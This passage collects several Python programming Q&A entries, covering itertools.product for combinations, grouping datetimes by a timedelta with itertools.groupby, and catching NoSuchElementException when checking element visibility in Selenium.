'f'.
How can I achieve this?
Answer: Use `itertools.product`.
>>> import itertools
>>> list(itertools.product(["t", "f"], repeat=2))
[('t', 't'), ('t', 'f'), ('f', 't'), ('f', 'f')]
>>> list(itertools.product(["t", "f"], repeat=3))
[('t', 't', 't'), ('t', 't', 'f'), ('t', 'f', 't'), ('t', 'f', 'f'), ('f', 't', 't'), ('f', 't', 'f'), ('f', 'f', 't'), ('f', 'f', 'f')]
>>> #etc
|
reduce datetime list by timedelta
Question: in python, how I can reduce a datetime list by a timedelta neighborhood?
If I have
dates = [
dt.datetime(1970, 1, 1, 0, 2),
dt.datetime(1970, 1, 1, 0, 3),
dt.datetime(1970, 1, 1, 0, 7),
dt.datetime(1970, 1, 1, 0, 8)
]
and a timedelta
delta = dt.timedelta(minutes=2)
How I can get this ?
expected = [
dt.datetime(1970, 1, 1, 0, 2, 30),
dt.datetime(1970, 1, 1, 0, 7, 30)
]
# EDIT
A example with numbers, if I have this number list
numbers = [1,2,6,7]
delta = 1
I try to group the nearly values and get a characteristic value (a central
value) of the group. The delta is the max distance between the values.
for the numbers, the characteristic value is
[1.5, 6.5]
Because the values are grouped in [1,2] and [6,7] and calculated the average
value.
Answer: The problem description already gives it away: you want to use the `groupby()`
function from `itertools`
All that is needed is a slightly smarter `key` function, one that remembers
the last state and keeps on giving the same `key` value as long as successive
time stamps are closer closer than `delta`.
After grouping, transform the found groups to average times, taking care of
single time stamps (example included).
import datetime as dt
from itertools import groupby
dates = [
dt.datetime(1970, 1, 1, 0, 2),
dt.datetime(1970, 1, 1, 0, 3),
dt.datetime(1970, 1, 1, 0, 7),
dt.datetime(1970, 1, 1, 0, 8),
dt.datetime(1970, 1, 1, 0, 13)
]
delta = dt.timedelta(minutes=2)
class grouper:
def __init__(self, delta):
self.delta= delta
self.last = None
def __call__(self, tm):
# we keep on returning the same key as long as successive time
# stamps are within the last time stamp + delta
self.last = tm if (self.last is None) or (tm - self.last)>self.delta \
else self.last
return self.last
# transform the result of groupby into average times
def avgtm(item):
(key, tms) = item
tms = list(tms) # transform generator into list so we can index it
return tms[0] + (tms[-1]-tms[0])/2 if len(tms)>1 else tms[0]
timestamps = map(avgtm, groupby(dates, key=grouper(delta)))
print "Time stamps: ",timestamps
Yields output:
Time stamps: [datetime.datetime(1970, 1, 1, 0, 2, 30),
datetime.datetime(1970, 1, 1, 0, 7, 30),
datetime.datetime(1970, 1, 1, 0, 13)]
|
Python selenium is_displayed method
Question: I want to be able to reach the else statement and not get an exceptions when
the element is not displayed.
for example:
if driver.find_element_by_xpath("/html/body/main/div/article[2]/div[4]/header/div[2]/div/div[3]/a[4]").is_displayed():
print("yeah found it")
else:
print("not found")
Answer: You CANNOT call is_displayed() or any other property on an element that **does
not exist**. is_displayed() only would work if the element present in the DOM
but hidden or displayed. your program is failing before even reaching the code
to check if it is displayed or not. So the possible fix is probably to use
some kind of try catch instead
from selenium.common.exceptions import NoSuchElementException
found = False
while not found:
try:
link = driver.find_element_by_xpath(linkAddress)
found = True
except NoSuchElementException:
time.sleep(2)
Example code taken from
[here](http://stackoverflow.com/questions/22741591/python-selenium-webdriver-
try-except-loop)
|
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